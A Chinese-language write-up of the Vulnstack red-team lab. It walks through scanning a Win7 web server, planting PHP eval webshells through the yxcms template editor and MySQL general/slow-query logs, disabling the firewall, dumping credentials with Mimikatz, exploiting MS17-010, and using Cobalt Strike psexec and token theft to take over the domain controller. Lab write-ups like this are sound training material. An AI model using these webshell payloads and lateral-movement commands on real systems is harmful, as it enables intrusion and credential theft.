介绍及环境搭建
靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/2
官方靶机说明:
红队实战系列,主要以真实企业环境为实例搭建一系列靶场,通过练习、视频教程、博客三位一体学习。另外本次实战完全模拟 ATT&CK 攻击链路进行搭建,开成完整闭环。后续也会搭建真实 APT 实战环境,从实战中成长。虚拟机所有统一密码:hongrisec@2019
配置网络,网络配置如下:
可以选择kali主机和web服务器(WIN7)直接开启NAT,但是也用不到,除非CS搭建在了自己的VPS上。我就是搭建在自己的VPS上,所以web服务器和kali主机是可以开启NAT访问外网的;
网络架构:
虚拟机环境:
kali(攻击机)以及三台服务器的配置:
开机这样:
需要先开启phpstudy:
注意win7的双网卡设置,并ping内网
win7双网卡,并且都可以ping通kali主机,且注意可以ping通内网,因为正常情况下DMZ区可以访问外网;
渗透web服务器流程
先发现主机:netdiscover -i eth0 -r 192.168.52.0/24
发现143主机之后,对其进行端口探测:
nmap -T4 -A -v -Pn IP
最常用的一种扫描
T4 设置时序,越高扫描越快
A 启用操作系统检测,版本检测,脚本扫描和跟踪路由
v 增加详细级别(使用-vv或更高级别以获得更好的效果)
Pn 无ping扫描
开放了80,3306这两个重要的端口
访问80端口,看到绝对路径,这个可是对后期渗透很有用的
** 绝对路径 C:/phpStudy/WWW
最下面检测mysql连接:root,root可以连接**
端口检测完成,到扫描目录步骤:
常规扫描只有phpmyadmin,这个字典不太行,直接用御剑的;
访问beifen.rar将文件下载,查看
robots.txt文件显示yxcms,访问
前台泄露了账号,密码,登录后发现有如下重要功能
可以尝试SQL写入shell,上传shell
首页的留言本可以实现存储型xss,盗取管理员cookie,诱导点击链接等。
查看此处的前台模板,可以自己添加模板,因为有源码备份文件,去查找default文件位置
可以确定写入模板位置位于:
192.168.52.143/yxcms/protected/apps/default/view/default/dudu.php
写入之后拿蚁剑连接
直接上传写shell,可以连接
这里我打算尝试一波目录遍历写入shell,不知是否可行
此处我上传成功了,并且蚁剑连接成功。但是前台没有显示../../../../../dudu2.php
此处的碎片删除界面,可以进行dnslog带外注入
具体分析查看:https://www.freebuf.com/column/162886.html
之前的phpmyadmin可以登录,尝试SQL写入shell
尝试执行SQL语句写入shell,写入shell的几个条件:
数据库此刻为root权限或者拥有File权限
知道网站绝对路径
PHP的GPC参数为关闭状态
Mysql中的secure_file_priv参数不能为Null状态
secure-file-priv特性:
secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录
当secure_file_priv的值为null ,表示限制mysql 不允许导入|导出
当secure_file_priv的值为/tmp/ ,表示限制mysql 的导入|导出只能发生在/tmp/目录下
当secure_file_priv的值没有具体值时,表示不对mysql 的导入|导出做限制
可以在mysql-ini文件中设置其属性
这里值是NULL,直接into outfile写不了shell如果想通过into写入文件,修改value的值: windows下修改配置文件:mysql.ini linux修改配置文件:my.cnf select 1,'<?php eval($_POST[a]);?>' INTO OUTFILE '/var/www/html/test.php'# select 1,'<?php eval($_POST[a]);?>' INTO dumpfile '/var/www/html/test.php'# 区别在于使用outfile时,文件中一行的末尾会自动换行
这里直接写shell不行,可以在SQL中开启日志记录,因为phpmyadmin泄露了绝对路径,然后指定位置写入shell
这里开启全局日志记录:
查看当前的日志记录:
指定日志文件存放于哪个目录,方便连接操作
写入shell,连接密码dudu3
蚁剑去连接:
刚开始去连接,没连上,以为SQL命令不合适,重复执行了一遍;
又去phpstudy查看效果,在www目录下,我连接是写的cms目录下,人傻了
还有一种方法利用慢日志写shell
一般都是通过long_query_time选项来设置这个时间值的,时间以秒为单位,可以精确到微妙。如果查询时间
超过了这个时间值,这个查询语句将会被记录到慢查询日志中;
查看服务器默认时间值方式:
show global variables like '%long_query_time%';
开启慢查询(关闭参数为0):
set global slow_query_log=1;
查看结果:
show global variables like '%slow%'; # 是否slow_query_log为ON
修改slow_query_log_file日志文件的绝对路径和文件名
set global slow_query_log_file='c:\\phpstudy\\www\\yxcms\\dudu4.php';
最后进行查询:
SELECT'<?php eval($_POST[dudu4]);?>' OR SLEEP(11);
执行最后一条语句需要注意:一般$_POST['']里面的内容会加引号,这里写入时不能加引号,否则语句执行不成功
去蚁剑连接就行,密码dudu4
前渗透基本结束,4种拿shell方式;
后渗透流程
我本来想直接利用公网VPS的CS服务器,在自己本机实现上线,但是还要牵扯代理,隧道诸多复杂事项,这个
靶机的初衷是web服务器置于外网,这样属于多层网络架构,可能无法拿下。只能利用kali主机的MSF,然后将CS
服务器起到ubuntu,然后win7电脑客户端实现上线;
然后给unbuntu和win7安装CS服务器和客户端,,,过程省略。。。
CS服务器
CS客户端
然后选择监听器呗,用蚁剑上传CS生成的木马
这里生成木马,拿蚁剑连接最好先去蚁剑关闭防火墙;蚁剑终端执行:netsh advfirewall set allprofiles state off
一直不上线,,,两边的防火墙也都关了
搞了好久,发现是监听器设置错了,没有设置为自己服务器的地址,设置CS客户端的地址;
蚁剑执行上传的exe就行,防火墙之前关闭了,这里执行完就能上线主机
后渗透正式开始
先将这台主机的sleep设置为0,因为是靶机,正常环境不能太快;
对这台主机进行信息收集;
这里仔细分析一下,224为外网段,52为内网段,win环境中,DNS服务器一般是和DC绑定的,之前部署时需要绑定设置;所以52.138初步判断为域控的ip地址,继续信息收集;
对主机基本信息收集
查询操作系统及软件信息
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" # 英文系统
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文系统
查看系统体系结构
echo %PROCESSOR_ARCHITECTURE%
PowerShell收集软件的版本信息
powershell "Get-WmiObject -class Win32_Product |Select-Object -Property name, version"
查看当前权限
whoami && whoami /priv
查询本机服务信息
wmic service list brief
查看安装的软件的版本、路径等
wmic product get name, version
查询进程信息
wmic process list brief
查看启动程序信息
wmic startup get command,caption
然后查看一下是否存在常见的杀毒软件进程,,,
命令很多,写个笔记,用的时候顺着往下敲,就知道了
这里就去定位域了,之前已经初步判断了存在域
前面判断了存在域,且DNS域名为god.org
然后我判断域用户角色和时间定位域的时候,出现错误提示5,这种情况说明此账户不是域用户,权限不够;(此处花费我很久时间去排查原因,最后发现是NAT网络原因,nslookup域名的时候也会出到外网,最后重新设置了一下win7主机的网卡才行)
然后查看主域信息以及时间服务器;
systeminfo查看了所在域环境和补丁情况
查询当前的登录域与用户信息
这个时候域信息基本清楚,就得定位域控了;因为之前发现ipconfig/all发现了dns服务器地址,就不在nslookup去解析了
查看域内的用户
获取域内用户的详细信息:wmic useraccount get /all
查看所有域成员计算机列表:net group "domain computers" /domain
查看域管理员的用户组:net group "domain admins" /domain
查询域系统管理员用户组:net group "Enterprise admins" /domain
查看域控制器:net group "domain controllers" /domain
获取域密码信息:net accounts /domain
基本域信息探测完毕,初步对域内主机账户有了初步了解,接下来就是提权,横向;
方法一:
·这里可以将MSF生成的马用蚁剑上传至WIN7服务器,而后运行
·反弹个shell给MSF(如果是powershell运行记得,修改策略,set-execut ionpolicy unrestricted)
·之前收集过systeminfo,这里使用第三方工具Windows-Exploit-Suggester去检测可以用漏洞;
(下载地址:https://github.com/GDSSecurity/Windows-Exploit-Suggester)
·在win7上systeminfo>win7.txt生成,而后去kali中利用
·存在MS16-014,MSF进行提权,nt authrity\system
·在win7主机上配置静态路由,run autoroute -s 192.168.52.0/24
·MSF自带扫描端口模块,auxiliary/scanner/portscan/tcp set rhosts(扫描的主机) 扫描的端口(80,445,3389)
·使用ms17-010 comand模块进行执行命令
·这里把shell反弹给cs,cs直接上线system权限,无需提权
·抓Hash密码,再扫描内网段
·添加SMB会话,psexec拿域控的shell
·beacon开启3389之后,就回到kali里面配置socks4a的代理,vi etc/proxychains.conf 添加socks4 x.x.x.x(MSF地址)port
·proxychains nc -v DCip 3389 proxychains redesktop DCip 3389 至此MSF结合CS,拿下整个域控过程完结
方法二:
获取了一个CS的beacon后可以目标内网情况和端口开放:
在beacon上右键->目标->选择net view或者port scan:
执行后在Targets选项卡看到扫描的主机:
这个时候去用CS的hashdump去读内存密码,用mimakatz读注册表密码:logonpasswords
权限不够可以先去提权,插件Elevatekit
抓取密码后探测内网其他主机:
for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
这条命令是不需要进行免杀的,是系统命令
这里还有k8大神的工具ladon,内容丰富,扫描快
主要介绍SMB beacon,CS派生SMB beacon
SMB beacon通过命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子beacon从父beacon获取到任务并发送。因为链接的Beacons使用windows命名管道进行通信,此流量封装于SMB协议中,所以SMB beacon相对隐蔽,绕过防火墙会有奇效
第一种是在已经有的beacon上创建监听,用来作为跳板内网穿透,前提是通过shell访问其他内网主机,也就是获取DC的方法一
第二种就是直接派生一个孩子,目的为了进一步盗取内网主机的hash
新建一个listener,payload设置为Beacon SMB:
在已有的beacon上右键spawn生成会话,进行派生
选择创建的smb beacon的listener:选择后会反弹一个子会话,在external的ip后面会有一个连接图标
派生的SMB当前没有连接,可以在主beacon上连接它 link host
psexec使用凭证来登录其他主机
横向已经探测到了获取内网的其他Targets以及读取到的凭证信息
可以利用psexec模块登录其他主机
右键选择非域控主机(OWA)的psexec模块:
选择后,结果图
分别执行了rev2self
make_token GOD.ORG\Administrator hongrisec@2021
jump psexec OWA SMB
最后依次得到了三台内网主机的system权限,图标试图:
这里还可以使用Token窃取
窃取token,然后再psexec,选择使用token
基本整个靶场就结束了,耗时三天;大概边做边记录了,排版什么的也没有注意,内网这块儿还是比较菜的,参考了很多文章,才磕磕碰碰结束
7月份就去实习了,投的北京的四家岗位,某宇没有面试过,还有一个甲方面过了但是因为学校7月离校,遗憾的通知我说已经没有编制了,不过也好在拿到了心仪公司的实习offer,因为明年毕业,5轮面试的是春招岗位,但是只能拿实习的offer了